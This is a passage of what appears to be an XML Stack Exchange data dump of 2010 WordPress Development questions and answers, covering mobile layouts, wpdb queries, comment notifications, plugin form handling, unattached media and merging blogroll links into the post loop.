250px also works if you'd rather have something that totals 750px, if you take the Safari mobile's built-in zoom into account. The site will still look good and be perfectly readable on iPhones in both landscape and portrait modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At any rate, getting back to your question, testing revealed that the one thing you should NOT do, is to use a layout with a flexible width. (Incidentally, WP-touch will do just that unless I'm mistaking.) Doing so leads to sub-optimal zooming. On the iPad, you can zoom in on something constrained in a 480px wide column, allowing for larger text size; something that &quot;adjusts&quot; to your screen's width forces you to read tiny text, or horizontal scrolling if it's too small to read comfortably...&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-10T16:02:00.603" CommentCount="2" />
  <row Id="3891" PostTypeId="1" AcceptedAnswerId="3946" CreationDate="2010-11-10T16:16:25.377" Score="1" ViewCount="147" Body="&lt;p&gt;When i try to access my domain mapping page it asks me to move the line define('sunrise', 'on') above the last require_once line in the wp-config file. It is already above this line. I tried moving it higher and even to the top of the file(below the opening &#xA;&#xA;&lt;p&gt;I recognizes if i remove the line alltogether (asks me to uncomment the line or add it if it is missing) so I know It is not looking at some other file. What could cause this behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/wTWhxPjj&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/wTWhxPjj&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="225" LastEditorDisplayName="" LastEditDate="2010-11-11T15:51:19.417" LastActivityDate="2010-11-11T20:30:23.897" Title="domain mapping confused about sunrise" Tags="&lt;multisite&gt;&lt;domain&gt;&lt;wp-config&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="3892" PostTypeId="1" AcceptedAnswerId="3893" CreationDate="2010-11-10T17:19:38.000" Score="0" ViewCount="461" Body="&lt;p&gt;In the code below (from my functions.php), I'm attempting to create an array of items from the wp_postmeta table where the meta_key is &quot;_wp_attached_file&quot;. I'm getting an error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to a member function query() on a non-object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong with the query?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$excludeImages = array();&#xA;$excludeImages = $wpdb-&amp;gt;query(&quot;SELECT meta_value &#xA;                              FROM $wpdb-&amp;gt;postmeta &#xA;                              WHERE meta_key = '_wp_attached_file'&quot;);&#xA;&#xA;array_push($excludeImages);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-11-10T17:24:21.363" Title="Fatal error: Call to a member function query() on a non-object" Tags="&lt;php&gt;&lt;wp-query&gt;&lt;wpdb&gt;" AnswerCount="1" />
  <row Id="3893" PostTypeId="2" ParentId="3892" CreationDate="2010-11-10T17:24:21.363" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Scott B:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you remember to include a &lt;code&gt;global $wpdb;&lt;/code&gt; in your code, like so?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$excludeImages = array();&#xA;$excludeImages = $wpdb-&amp;gt;query(&quot;SELECT meta_value &#xA;                              FROM $wpdb-&amp;gt;postmeta &#xA;                              WHERE meta_key = '_wp_attached_file'&quot;);&#xA;&#xA;array_push($excludeImages);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-11-10T17:24:21.363" CommentCount="2" />
  <row Id="3894" PostTypeId="1" AcceptedAnswerId="3896" CreationDate="2010-11-10T17:41:37.523" Score="0" ViewCount="218" Body="&lt;p&gt;I see that if I turn off &quot;An administrator must always approve the comment&quot; and &quot;Comment author must have a previously approved comment&quot; I get no notifications of new comments on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I somehow make it send the notification even though approvals are unchecked in dashboard under &quot;discussion settings&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what would be a good way to send this notification to all users registered on this website, and not only to admin? I tried &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-comment-notifier-for-all/&quot; rel=&quot;nofollow&quot;&gt;WP Comment Notifier For All (Wordpress Plugin)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it didn't work...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="1535" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-11T00:33:47.150" LastActivityDate="2010-11-11T00:34:20.863" Title="Send email on new comment when no admin approval needed?" Tags="&lt;plugin-recommendation&gt;&lt;comments&gt;&lt;notifications&gt;" AnswerCount="1" />
  <row Id="3895" PostTypeId="1" CreationDate="2010-11-10T17:52:48.593" Score="2" ViewCount="354" Body="&lt;p&gt;Is there a plugin or something that creates PDF files from a entered by the user form data, when it clicks on the submit button?&lt;/p&gt;&#xA;" OwnerUserId="1431" LastActivityDate="2010-12-10T22:02:12.083" Title="Submit To PDF in WordPress" Tags="&lt;plugins&gt;&lt;forms&gt;&lt;pdf&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="1" />
  <row Id="3896" PostTypeId="2" ParentId="3894" CreationDate="2010-11-10T17:59:10.523" Score="1" ViewCount="" Body="&lt;p&gt;mmm, well &lt;a href=&quot;http://wordpress.org/extend/plugins/comments-notifier/&quot; rel=&quot;nofollow&quot;&gt;Comments Notifier (Wordpress Plugin)&lt;/a&gt; did the trick&lt;/p&gt;&#xA;" OwnerUserId="1535" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-11T00:34:20.863" LastActivityDate="2010-11-11T00:34:20.863" CommentCount="2" />
  <row Id="3897" PostTypeId="2" ParentId="3895" CreationDate="2010-11-10T18:22:23.587" Score="0" ViewCount="" Body="&lt;p&gt;Short answer: no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dynamically creating PDFs is a pretty intense job, but it can be done.  For reference, try looking at some of the existing plug-ins that create PDFs based on post content: &lt;a href=&quot;http://en.pdf24.org/wordpress-pdf-plugin.jsp&quot; rel=&quot;nofollow&quot;&gt;WordPress PDF Plugin&lt;/a&gt; was the first I found from a Google search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that PDFs and HTML web pages are two very different things and will be built differently.  If you want users to enter form data and have it auto-populate into a PDF, you're looking at a unique situation that will require copious amounts of custom code.  I recommend &lt;a href=&quot;http://jobs.wordpress.net&quot; rel=&quot;nofollow&quot;&gt;posting a job listing or hiring a developer&lt;/a&gt; to set things up for you.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-10T18:22:23.587" CommentCount="1" />
  <row Id="3899" PostTypeId="2" ParentId="1567" CreationDate="2010-11-10T18:42:26.353" Score="4" ViewCount="" Body="&lt;h2&gt;Custom Dashboard CSS&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Change WordPress dashboard CSS */&#xA;function custom_admin_styles() {&#xA;    echo '&amp;lt;style type=&quot;text/css&quot;&amp;gt;#wphead{background:#069}&amp;lt;/style&amp;gt;';&#xA;}&#xA;add_action('admin_head', 'custom_admin_styles');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can add any changes to the css between the  tags.&lt;/p&gt;&#xA;" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T13:59:19.343" LastActivityDate="2011-01-26T13:59:19.343" CommunityOwnedDate="2010-11-10T18:42:26.353" />
  <row Id="3900" PostTypeId="1" AcceptedAnswerId="3908" CreationDate="2010-11-10T18:44:38.397" Score="2" ViewCount="196" Body="&lt;p&gt;In my functions.php, I have a need to list all images in the uploads folder which are not currently attached to a post in the WP database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that every time an image is uploaded to the WP uploads folder (via FTP or via Media Manager), a records gets inserted in the WP database, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I obtain a list of all images that are not currently attached to any post?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-11-13T22:51:41.503" LastActivityDate="2010-11-15T06:36:14.033" Title="Script to get a list of all images that are detached?" Tags="&lt;plugin-development&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="3901" PostTypeId="1" AcceptedAnswerId="4473" CreationDate="2010-11-10T18:58:39.130" Score="0" ViewCount="303" Body="&lt;p&gt;I want to create a loop where 2 or 3 items from my blogroll are spliced in like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;loop&amp;gt;&#xA;    &amp;lt;post1&amp;gt;&#xA;    &amp;lt;post2&amp;gt;&#xA;    &amp;lt;blogroll1&amp;gt;&#xA;    &amp;lt;post3&amp;gt;&#xA;    &amp;lt;blogroll3&amp;gt;        &#xA;&amp;lt;/loop&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'll be using images and excerpts for the loop, and the goal is to get the &lt;code&gt;wp_links&lt;/code&gt; links to display EXACTLY like the &lt;code&gt;wp_posts&lt;/code&gt;, so if I can actually splice in the links to the &lt;code&gt;$post&lt;/code&gt; variable somehow and loop over them AS IF they were posts, that would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting the posts via &lt;code&gt;get_bookmarks&lt;/code&gt; is easy, but how would I fake WP into thinking they're &lt;code&gt;$posts&lt;/code&gt; and how would I splice them into the &lt;code&gt;$post&lt;/code&gt; object?&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2010-11-10T21:29:55.413" LastActivityDate="2010-11-24T01:27:05.103" Title="How to splice in wp_links links into the loop?" Tags="&lt;links&gt;&lt;loop&gt;&lt;blogroll&gt;&lt;link-category&gt;&lt;get-bookmarks&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="3902" PostTypeId="1" AcceptedAnswerId="3916" CreationDate="2010-11-10T19:26:39.507" Score="1" ViewCount="224" Body="&lt;p&gt;I'm writing a plugin that creates and handles a simple form. This has been my approach sofar, but it's turned out to have some major flaws:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) On plugin activation, create a blank page for the form at mysite.com/form, and another blank page to process the form at mysite.com/processform. (They need to be separate pages with distinct URLs so that submissions can be tracked via google analytics. Otherwise, I'd just do all this via AJAX. I know, I know... not my decision.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) On the &quot;wp&quot; action, check to see what page we're on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2a) If it's my form page, add a &quot;the_content&quot; filter to render the form (it needs some dynamic hidden elements like a nonce, which is why I didn't just include the form markup when I created the form page originally).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2b) If it's my processform page, add a &quot;the_content&quot; filter to process the POST and render any feedback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The major problem is with my POST handling. I'm hooking it to the &quot;the_content&quot; filter (because I need it to supply feedback), but this filter is sometimes run multiple times during a page load, causing the POST to be handled multiple times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've included what I have below, but I can't help thinking I'm completely on the wrong track with my approach. How would you create and handle a form with your plugin if you needed it to hit a success URL (ie. not via AJAX)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    // On activation, create the blank pages&#xA;    function my_form_install() {&#xA;&#xA;        // CREATE THE FORM PAGE&#xA;        $page_markup = '';&#xA;&#xA;        $arr_page_options = array(&#xA;            'post_status' =&amp;gt; 'publish',&#xA;            'post_type' =&amp;gt; 'page',&#xA;            'post_author' =&amp;gt; 1,&#xA;            'post_title' =&amp;gt; 'Form',&#xA;            'post_content' =&amp;gt; $page_markup,&#xA;            'comment_status' =&amp;gt; 'closed'&#xA;        );&#xA;&#xA;        // CREATE THE FORM PROCESSING/SUCCESS PAGE&#xA;        $success_page_markup = '';&#xA;&#xA;        $arr_success_page_options = array(&#xA;            'post_status' =&amp;gt; 'publish',&#xA;            'post_type' =&amp;gt; 'page',&#xA;            'post_author' =&amp;gt; 1,&#xA;            'post_title' =&amp;gt; 'Form Process',&#xA;            'post_content' =&amp;gt; $success_page_markup,&#xA;            'comment_status' =&amp;gt; 'closed'&#xA;        );&#xA;&#xA;    }&#xA;    register_activation_hook(__FILE__,'my_form_install');&#xA;&#xA;&#xA;    // On the wp action, check to see if this is one of our pages. If so, add our filters.&#xA;    function check_current_page($obj_wp) {&#xA;&#xA;        if(isset($obj_wp-&amp;gt;query_vars[&quot;pagename&quot;])) {&#xA;            $page_name = $obj_wp-&amp;gt;query_vars[&quot;pagename&quot;];&#xA;&#xA;            switch($page_name) {&#xA;&#xA;                case &quot;form&quot;:&#xA;                    add_filter('the_content', 'my_render_form');&#xA;                    break;&#xA;&#xA;                case &quot;form-process&quot;:&#xA;                    add_filter('the_content', 'my_process_form');&#xA;                    break;&#xA;&#xA;            }   &#xA;&#xA;        }&#xA;&#xA;    }&#xA;    add_action('wp', 'check_current_page');&#xA;&#xA;    // Function to render the form&#xA;    function my_render_form($page_markup) {&#xA;&#xA;&#xA;        $page_markup .= '&amp;lt;form method=&quot;post&quot; action=&quot;/form-process&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;some_input_field&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot; /&amp;gt;&#xA;        &amp;lt;/form&amp;gt;';&#xA;&#xA;        return $page_markup;&#xA;&#xA;    }&#xA;&#xA;    // Function to process the form&#xA;    function my_process_form($page_markup) {&#xA;&#xA;        if($_POST) {&#xA;&#xA;            // Do the form processing. This would involve many possible returns, &#xA;            // but I've just included one to simplify thigns.&#xA;            $page_markup .= 'Your form has been processed.';&#xA;&#xA;        }&#xA;&#xA;        return $page_markup;&#xA;&#xA;    }&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-11-11T00:18:31.377" Title="Best Practices for Creating and Handling Forms with Plugins?" Tags="&lt;plugin-development&gt;&lt;hooks&gt;&lt;forms&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="3904" PostTypeId="2" ParentId="3876" CreationDate="2010-11-10T20:00:22.277" Score="0" ViewCount="" Body="&lt;p&gt;You might check out the &lt;a href=&quot;http://crowdfavorite.com/wordpress/themes/carrington-business/&quot; rel=&quot;nofollow&quot;&gt;Carrington Business&lt;/a&gt; theme. It's a commercial theme, but I think it does what you are asking.&lt;/p&gt;&#xA;" OwnerUserId="656" LastActivityDate="2010-11-10T20:00:22.277" />
  <row Id="3905" PostTypeId="1" AcceptedAnswerId="3918" CreationDate="2010-11-10T20:29:27.680" Score="2" ViewCount="135" Body="&lt;p&gt;Is there a good WordPress book intended for graphic designers? I've started working with a friend in an arrangement where he designs a site and I build it in WordPress. This works great since I have the design sense of a blind monkey. He would like to learn more about WordPress and how best to design for it. I'm familiar with several good WordPress books, but most of them are intended for designer/developers. I'm looking for something that will serve as a guideline, offering suggestions for design conventions that are well suited to WordPress. Are there any such books? If there's not a book specifically aimed at designers, which other book would you suggest?&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-11-18T13:30:53.013" Title="WordPress book for graphic designers?" Tags="&lt;design&gt;&lt;books&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" />
  <row Id="3906" PostTypeId="2" ParentId="3905" CreationDate="2010-11-10T21:08:35.150" Score="1" ViewCount="" Body="&lt;p&gt;What about just taking a look at different themes that are available. I'm not sure what kind of guidelines you're looking for exactly, but you may be able to get a general idea from observing what's already out there. Some good sites for this are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wpthemesfree.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.wpthemesfree.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1333" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-18T13:30:53.013" LastActivityDate="2010-11-18T13:30:53.013" />
  <row Id="3907" PostTypeId="2" ParentId="3905" CreationDate="2010-11-10T21:16:29.567" Score="0" ViewCount="" Body="&lt;p&gt;This post was just made on reddit the other day, some solid books based on 2 important design factors, layouts and typography. They are not wordpress specific but the ideas still apply.&#xA;&lt;a href=&quot;http://www.reddit.com/r/web_design/comments/e2uo2/webbit_where_can_i_learn_web_design_not_just_the/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/web_design/comments/e2uo2/webbit_where_can_i_learn_web_design_not_just_the/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-11-10T21:16:29.567" CommentCount="1" />
  <row Id="3908" PostTypeId="2" ParentId="3900" CreationDate="2010-11-10T21:36:16.513" Score="0" ViewCount="" Body="&lt;p&gt;This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'numberposts' =&amp;gt; -1,&#xA;    'post_status' =&amp;gt; null,&#xA;    'post_parent' =&amp;gt; 0&#xA;); &#xA;$attachments = get_posts($args);&#xA;&#xA;if ($attachments) {&#xA;    foreach ($attachments as $post) {&#xA;        setup_postdata($post);&#xA;        the_attachment_link($post-&amp;gt;ID);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-11-15T06:36:14.033" LastActivityDate="2010-11-15T06:36:14.033" CommentCount="10" />
  <row Id="3909" PostTypeId="2" ParentId="3895" CreationDate="2010-11-10T21:42:54.907" Score="2" ViewCount="" Body="&lt;p&gt;Well funny you ask this because I just had to convert some html pages into pdf. Though I do not know a specific wordpress solutions, one way would be to create a html page with the submitted form and then use one of the following php scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/wkhtmltopdf/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/wkhtmltopdf/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/dompdf/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/dompdf/&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-11-10T21:42:54.907" />
  <row Id="3910" PostTypeId="2" ParentId="3901" CreationDate="2010-11-10T21:59:47.693" Score="2" ViewCount="" Body="&lt;p&gt;I've tried something similar to that (well, slightly different, what I did was try to create a timeline where posts and comments showed up in the same timeline)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Merging those two arrays is not easy, because the post object has completely different properties to the link object. If you wanted to do it, you'd have to run an array map over the response returned by &lt;code&gt;get_bookmarks&lt;/code&gt; to make each of those objects conform to the structure of the $post object; then merge the two arrays, and then finally usort them using your own comparison function. A lot of headache for very little gain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're just getting started out with this, why not make your links a custom post type so that you can merge your links and posts in one query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or better yet, if you can work with the development versions of 3.1, make your links a post &lt;strong&gt;format&lt;/strong&gt;! That way there's no messing with the query at all, and it'll just work for you off the bat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit: I originally entered this code in a separate answer. I'm following Jan's recommendation to combine my answers into one so that its more clear.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, so this is really wonky, and I reiterate that I don't recommend that you do this, but if you have to, this should do it for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$links = get_bookmarks('show_updated=true');&#xA;&#xA;/* Map the properties of the link to the structure of a post object */&#xA;$linkposts = array_map( 'link2postobj', $links );&#xA;function link2postobj( $obj ) {&#xA;    $post_object = array( &#xA;        'post_name' =&amp;gt; $obj-&amp;gt;link_name,&#xA;        'post_content' =&amp;gt; '&amp;lt;a href=&quot;'.$obj-&amp;gt;link_href.'&quot; &amp;gt;'.&#xA;                 $obj-&amp;gt;link_name.'&amp;lt;/a&amp;gt;&amp;lt;p&amp;gt;'.&#xA;                 $obj-&amp;gt;link_description.'&amp;lt;/p&amp;gt;', // the &quot;content&quot;&#xA;        'post_author' =&amp;gt; $obj-&amp;gt;link_owner,&#xA;        'post_date' =&amp;gt; $obj-&amp;gt;link_updated,&#xA;        'post_status' =&amp;gt; 'link', // just a tag to mark this as a link&#xA;        'guid' =&amp;gt; $obj-&amp;gt;link_href   );&#xA;        return (object)$post_object;&#xA;}&#xA;&#xA;/* Merge links returned with posts in query */&#xA;global $wp_query;&#xA;$posts = array_merge( $wp_query-&amp;gt;posts, $linkposts );&#xA;&#xA;/* Sort together by your function (this uses link_updated date to merge in the timeline.&#xA;    Note that link_updated is not a reliable property to depend on. */&#xA;usort( $posts, 'sortbydate' );&#xA;function sortbydate( $a, $b ) {&#xA;    return ( strtotime($a-&amp;gt;post_date) &amp;gt; strtotime($b-&amp;gt;post_date) );&#xA;    }&#xA;&#xA;/* now just loop through your timeline */&#xA;foreach ( $posts as $post ) :&#xA;    if ( 'link' == $post-&amp;gt;post_status ) {&#xA;        // template for links here&#xA;    } else {&#xA;        setup_postdata( $post );&#xA;        // template for regular posts here&#xA;    }&#xA;endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition to the other problems I foresaw, I noticed that the link_updated field isn't very reliable ( alot of links out of my db returned 0 as the link_updated value). So you probably need to look at the data you have and come up with a different function to sort your links and posts on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seriously, though, consider getting on the bleeding edge and migrating all your links into &lt;a href=&quot;http://codex.wordpress.org/Post_Formats&quot; rel=&quot;nofollow&quot;&gt;posts with the &quot;link&quot; format&lt;/a&gt;. I think for what you're trying to do, it just makes a lot more sense, and the time required to run a script and create new posts for each of your links will be much less than the hassle of maintaining a format like this.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2010-11-15T18:35:25.220" LastActivityDate="2010-11-15T18:35:25.220" CommentCount="4" />
  <row Id="3911" PostTypeId="1" AcceptedAnswerId="3912" CreationDate="2010-11-10T22:54:15.350" Score="2" ViewCount="141" Body="&lt;p&gt;just want to change a little bit author email notify message(wp_notify_postauthor - pluggable.php),and I'm applying filters on comment_notification_text&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myfunction(){&#xA;  return &quot;&amp;lt;div class='left_side'&amp;gt;&quot;..$comment..$post..&quot;&amp;lt;/div&amp;gt;&quot;&#xA;}&#xA;&#xA;add_filter('comment_notification_text', 'myfunction');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to access data $comment,$post,... in myfunction ?&lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2010-11-10T23:29:32.980" Title="Wordpress change author email notify message?" Tags="&lt;3.0&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="3912" PostTypeId="2" ParentId="3911" CreationDate="2010-11-10T23:29:32.980" Score="2" ViewCount="" Body="&lt;p&gt;$comment_id can be passed as second parameter to your function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modify you add_filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('comment_notification_text', 'myfunction', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then get $comment and $post from $comment_id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myfunction( $notify_message, $comment_id ) {&#xA;    $comment = get_comment( $comment_id );&#xA;    $post    = get_post($comment-&amp;gt;comment_post_ID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-11-10T23:29:32.980" CommentCount="2" />
  <row Id="3913" PostTypeId="2" ParentId="3875" CreationDate="2010-11-10T23:41:12.407" Score="1" ViewCount="" Body="&lt;p&gt;there is also the wordpress mobile pack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mobile-pack/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mobile-pack/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-11-10T23:41:12.407" />
  <row Id="3914" PostTypeId="2" ParentId="3900" CreationDate="2010-11-11T00:10:31.540" Score="1" ViewCount="" Body="&lt;p&gt;If you need that in your UI to manage those:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/wp-admin/upload.php?detached=1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the address to your blog in front.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or more descriptive:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log into your admin then use the menu: &lt;em&gt;Media&lt;/em&gt; -&gt; &lt;em&gt;Library&lt;/em&gt;. Select the &lt;em&gt;Unattached&lt;/em&gt; link above the lists' filter drop-down.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-11T00:10:31.540" />
  <row Id="3915" PostTypeId="2" ParentId="3905" CreationDate="2010-11-11T00:14:27.307" Score="0" ViewCount="" Body="&lt;p&gt;I would recommend &quot;Build Your Own Wicked WordPress Themes&quot; by SitePoint:&#xA;&lt;a href=&quot;http://www.sitepoint.com/books/wordpress1/&quot; rel=&quot;nofollow&quot;&gt;http://www.sitepoint.com/books/wordpress1/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-11-11T00:14:27.307" />
  <row Id="3916" PostTypeId="2" ParentId="3902" CreationDate="2010-11-11T00:18:31.377" Score="1" ViewCount="" Body="&lt;p&gt;That's just a quick feedback: Use a shortcode to insert your form into content. Those are quite flexible. And for the processed form's need to have another URL you can add a rewrite endpoint like /form/processed/ you can check after submission then. That's probably more modular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end that prevents you to deal with the &lt;code&gt;the_content&lt;/code&gt; filter as you can deal with anything within the shortcode callback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a rough suggestion only, but probably does the job for you.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-11T00:18:31.377" CommentCount="1" />
  <row Id="3917" PostTypeId="2" ParentId="1660" CreationDate="2010-11-11T00:22:25.930" Score="1" ViewCount="" Body="&lt;p&gt;You could create a Feedburner feed out of it and then add the RSS URL of the &quot;new&quot; feed to your blog. Feedburner normalizes feeds on the fly so this probably just prevents you having any problems with it. The downside is, that Feedburner caches for about 30 minutes or so. If you want it more &quot;fresh&quot;, then this solution is not helping you. Another downside is, that it needs manual work. But probably that's not an issue for you.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-11T00:22:25.930" />
  <row Id="3918" PostTypeId="2" ParentId="3905" CreationDate="2010-11-11T01:08:01.567" Score="1" ViewCount="" Body="&lt;p&gt;Some said this &lt;a href=&quot;http://rockablepress.com/books/rockstar-wordpress-designer/&quot; rel=&quot;nofollow&quot;&gt;rockable book&lt;/a&gt; is awesome, though I don't buy it myself. I'm backend wordpress developer not front end, so I guess this book is not for me.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-11-11T01:08:01.567" />
  <row Id="3919" PostTypeId="2" ParentId="1733" CreationDate="2010-11-11T02:23:58.547" Score="2" ViewCount="" Body="&lt;p&gt;Your best bet is to use a javascript based image crop and then php combined with ImageMagick or Image GD. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would have to be written into your functions or as a plug-in as I don't know off hand of any off the shelf wordpress plug-ins, which is surprising.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a YUI image crop with php based save option &lt;a href=&quot;http://developer.yahoo.com/yui/examples/imagecropper/conn_crop.html&quot; rel=&quot;nofollow&quot;&gt;http://developer.yahoo.com/yui/examples/imagecropper/conn_crop.html&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a different tutorial on how to use a jquery cropper with php&lt;br&gt;&#xA;&lt;a href=&quot;http://www.webmotionuk.co.uk/php-jquery-image-upload-and-crop/&quot; rel=&quot;nofollow&quot;&gt;http://www.webmotionuk.co.uk/php-jquery-image-upload-and-crop/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third option very similar to the above link using the same jquery cropper but different code.&#xA;&lt;a href=&quot;http://www.leonkessler.com/blog/?p=132&quot; rel=&quot;nofollow&quot;&gt;http://www.leonkessler.com/blog/?p=132&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is another using jquery's jcrop instead, &lt;a href=&quot;http://www.talkincode.com/jcrop-extension-implementation-in-php-932.html&quot; rel=&quot;nofollow&quot;&gt;http://www.talkincode.com/jcrop-extension-implementation-in-php-932.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who is up for a new plug-in, this would surely be popular:)&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-11-11T02:23:58.547" 